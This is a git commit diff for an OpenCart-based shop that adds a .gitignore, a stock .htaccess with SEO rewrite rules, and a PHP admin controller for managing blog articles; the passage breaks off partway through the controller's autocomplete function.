commit de0344d218808036f045bc743a82b57144e7fc53
Author: Konstantin
Date: Sat May 30 09:27:58 2026 +0300
first commit
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..26d6e54
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,63 @@
+# Local environment and secrets
+.env
+.env.*
+!.env.example
+public/config.php
+public/admin/config.php
+
+# Composer dependencies
+vendor/
+**/vendor/
+
+# OpenCart runtime data
+storage/cache/*
+!storage/cache/index.html
+storage/logs/*
+!storage/logs/index.html
+storage/session/*
+!storage/session/index.html
+storage/modification/*
+!storage/modification/index.html
+storage/upload/*
+!storage/upload/index.html
+storage/download/*
+!storage/download/index.html
+
+# Generated image cache
+public/image/cache/*
+!public/image/cache/index.html
+
+# Logs and reports
+*.log
+*.log.*
+error.log
+errors.log
+public/errors.log
+public/image/*
+# Backups, database dumps, and archives
+*.bak
+*.backup
+*.old
+*.orig
+*.sql
+*.sql.gz
+*.tar
+*.tar.gz
+*.tgz
+*.zip
+
+# OS and editor files
+.DS_Store
+Thumbs.db
+desktop.ini
+.idea/
+.vscode/
+*.swp
+*.swo
+
+# Tooling caches
+.phpunit.result.cache
+.php-cs-fixer.cache
+.cache/
+.tmp/
+tmp/
diff --git a/public/.htaccess b/public/.htaccess
new file mode 100644
index 0000000..3f4e906
--- /dev/null
+++ b/public/.htaccess
@@ -0,0 +1,58 @@
+# 1.To use URL Alias you need to be running apache with mod_rewrite enabled.
+
+# 2. In your opencart directory rename htaccess.txt to .htaccess.
+
+# For any support issues please visit: http://www.opencart.com
+
+Options +FollowSymlinks
+
+# Prevent Directory listing
+Options -Indexes
+
+# Prevent Direct Access to files
+
+ Require all denied
+## For apache 2.2 and older, replace "Require all denied" with these two lines :
+# Order deny,allow
+# Deny from all
+
+
+# SEO URL Settings
+RewriteEngine On
+# If your opencart installation does not run on the main web folder make sure you folder it does run in ie. / becomes /shop/
+
+RewriteBase /
+RewriteCond %{QUERY_STRING} ^(.*)&?page=1$
+RewriteRule ^(.*)/?$ /$1?%1%2 [R=301,L] #remove page=1 from url
+RewriteRule ^sitemap.xml$ index.php?route=extension/feed/google_sitemap [L]
+RewriteRule ^googlebase.xml$ index.php?route=extension/feed/google_base [L]
+RewriteRule ^system/storage/(.*) index.php?route=error/not_found [L]
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteCond %{REQUEST_FILENAME} !-d
+RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)
+RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]
+
+### Additional Settings that may need to be enabled for some servers
+### Uncomment the commands by removing the # sign in front of it.
+### If you get an "Internal Server Error 500" after enabling any of the following settings, restore the # as this means your host doesn't allow that.
+
+# 1. If your cart only allows you to add one item at a time, it is possible register_globals is on. This may work to disable it:
+# php_flag register_globals off
+
+# 2. If your cart has magic quotes enabled, This may work to disable it:
+# php_flag magic_quotes_gpc Off
+
+# 3. Set max upload file size. Most hosts will limit this and not allow it to be overridden but you can try
+# php_value upload_max_filesize 999M
+
+# 4. set max post size. uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value post_max_size 999M
+
+# 5. set max time script can take. uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value max_execution_time 200
+
+# 6. set max time for input to be recieved. Uncomment this line if you have a lot of product options or are getting errors where forms are not saving all fields
+# php_value max_input_time 200
+
+# 7. disable open_basedir limitations
+# php_admin_value open_basedir none
diff --git a/public/admin/controller/blog/article.php b/public/admin/controller/blog/article.php
new file mode 100644
index 0000000..367fd15
--- /dev/null
+++ b/public/admin/controller/blog/article.php
@@ -0,0 +1,935 @@
+load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_article->addArticle($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_article->editArticle($this->request->get['article_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->deleteArticle($article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->copyArticle($article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = null;
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = null;
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/article/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('blog/article/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/article/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('blog/article/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/article/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['articles'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_status' => $filter_status,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('tool/image');
+
+ $article_total = $this->model_blog_article->getTotalArticles($filter_data);
+
+ $results = $this->model_blog_article->getArticles($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $data['articles'][] = array(
+ 'article_id' => $result['article_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'noindex' => ($result['noindex']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=blog/article&article_id=' . ($result['article_id']),
+ 'edit' => $this->url->link('blog/article/edit', 'user_token=' . $this->session->data['user_token'] . '&article_id=' . $result['article_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_status'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $article_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($article_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($article_total - $this->config->get('config_limit_admin'))) ? $article_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $article_total, ceil($article_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_status'] = $filter_status;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/article_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['article_id'])) {
+ $data['action'] = $this->url->link('blog/article/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/article/edit', 'user_token=' . $this->session->data['user_token'] . '&article_id=' . $this->request->get['article_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['article_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $article_info = $this->model_blog_article->getArticle($this->request->get['article_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['article_description'])) {
+ $data['article_description'] = $this->request->post['article_description'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_description'] = $this->model_blog_article->getArticleDescriptions($this->request->get['article_id']);
+ } else {
+ $data['article_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['article_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['article_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($article_info)) {
+ $data['image'] = $article_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($article_info) && is_file(DIR_IMAGE . $article_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($article_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['article_store'])) {
+ $data['article_store'] = $this->request->post['article_store'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_store'] = $this->model_blog_article->getArticleStores($this->request->get['article_id']);
+ } else {
+ $data['article_store'] = array(0);
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($article_info)) {
+ $data['sort_order'] = $article_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($article_info)) {
+ $data['status'] = $article_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($article_info)) {
+ $data['noindex'] = $article_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ // Categories
+ $this->load->model('blog/category');
+
+ $categories = $this->model_blog_category->getAllCategories();
+
+ $data['categories'] = $this->model_blog_category->getCategories($categories);
+
+ if (isset($this->request->post['main_blog_category_id'])) {
+ $data['main_blog_category_id'] = $this->request->post['main_blog_category_id'];
+ } elseif (isset($article_info)) {
+ $data['main_blog_category_id'] = $this->model_blog_article->getArticleMainCategoryId($this->request->get['article_id']);
+ } else {
+ $data['main_blog_category_id'] = 0;
+ }
+
+ if (isset($this->request->post['article_blog_category'])) {
+ $categories = $this->request->post['article_blog_category'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $categories = $this->model_blog_article->getArticleCategories($this->request->get['article_id']);
+ } else {
+ $categories = array();
+ }
+
+ $data['article_categories'] = array();
+
+ foreach ($categories as $blog_category_id) {
+ $category_info = $this->model_blog_category->getCategory($blog_category_id);
+
+ if ($category_info) {
+ $data['article_categories'][] = array(
+ 'blog_category_id' => $category_info['blog_category_id'],
+ 'name' => ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name']
+ );
+ }
+ }
+
+ // Images
+ if (isset($this->request->post['article_image'])) {
+ $article_images = $this->request->post['article_image'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $article_images = $this->model_blog_article->getArticleImages($this->request->get['article_id']);
+ } else {
+ $article_images = array();
+ }
+
+ $data['article_images'] = array();
+
+ foreach ($article_images as $article_image) {
+ if (is_file(DIR_IMAGE . $article_image['image'])) {
+ $image = $article_image['image'];
+ $thumb = $article_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['article_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $article_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['article_download'])) {
+ $article_downloads = $this->request->post['article_download'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $article_downloads = $this->model_blog_article->getArticleDownloads($this->request->get['article_id']);
+ } else {
+ $article_downloads = array();
+ }
+
+ $data['article_downloads'] = array();
+
+ foreach ($article_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['article_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $articles = $this->model_blog_article->getArticleRelated($this->request->get['article_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_relateds'] = array();
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_relateds'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($article_info)) {
+ $products = $this->model_blog_article->getProductRelated($this->request->get['article_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_seo_url'])) {
+ $data['article_seo_url'] = $this->request->post['article_seo_url'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_seo_url'] = $this->model_blog_article->getArticleSeoUrls($this->request->get['article_id']);
+ } else {
+ $data['article_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['article_layout'])) {
+ $data['article_layout'] = $this->request->post['article_layout'];
+ } elseif (isset($this->request->get['article_id'])) {
+ $data['article_layout'] = $this->model_blog_article->getArticleLayouts($this->request->get['article_id']);
+ } else {
+ $data['article_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/article_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['article_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['article_seo_url']) && is_array($this->request->post['article_seo_url'])) {
+ foreach ($this->request->post['article_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['article_description'])) {
+ foreach ($this->request->post['article_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['article_seo_url'][0][$language_id]) || trim($this->request->post['article_seo_url'][0][$language_id]) === '') {
+ $this->request->post['article_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['article_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['article_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['article_id']) || (($seo_url['query'] != 'article_id=' . $this->request->get['article_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->editArticleStatus($article_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('blog/article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $article_id) {
+ $this->model_blog_article->editArticleStatus($article_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'blog/article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('blog/article');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = $this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
